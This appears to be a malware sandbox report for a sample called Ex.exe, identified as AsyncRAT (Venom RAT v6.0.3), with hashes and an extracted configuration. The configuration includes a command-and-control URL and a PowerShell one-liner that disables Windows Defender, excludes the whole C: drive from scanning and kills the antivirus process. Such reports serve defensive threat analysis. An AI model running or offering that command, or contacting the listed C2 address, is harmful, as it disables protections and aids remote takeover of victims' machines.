Overview

overview

10

Static

static

10

Ex.exe

windows10-ltsc_2021-x64

10

Sharing

Copy URL Twitter E-mail

General

  • Target
    Ex.exe
  • Size 79KB
  • Sample260815-wdbhea1xbt
  • SHA256 90e5e5b85bcb9115c40c21759b649de8142171b8366d38b570e584e4fa8ea4a8
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
asyncratdefaultrat

Malware Config

Extracted

Family

  • asyncrat

Version

  • Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

  • Default

Mutex

  • hictazhxnqcsleiyv

Attributes
  • c2_url_file

    https://pastee.dev/r/VBvEizPQ/0

  • delay

    3

  • install

    true

  • install_file

    powershell -ep bypass -c "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -ExclusionPath 'C:\'; reg add 'HKLM\SOFTWARE\Policies\Microsoft\Windows Defender' /v DisableAntiSpyware /t REG_DWORD /d 1 /f; sc stop WinDefend; sc config WinDefend start=disabled; taskkill /F /IM MsMpEng.exe".exe

  • install_folder

    %AppData%

aes.plain

Targets

    • Target
      Ex.exe
    • Size 79KB
    • SHA256 90e5e5b85bcb9115c40c21759b649de8142171b8366d38b570e584e4fa8ea4a8
    • MD5 SHA1 SHA512 SSDEEP TLSH
    Score
    10/10
    defaultasyncratrat

    • Family: AsyncRat

      AsyncRAT is designed to remotely monitor and control other computers written in C#.

      ratasyncrat
    behavioral1

MITRE ATT&CK Matrix

Tasks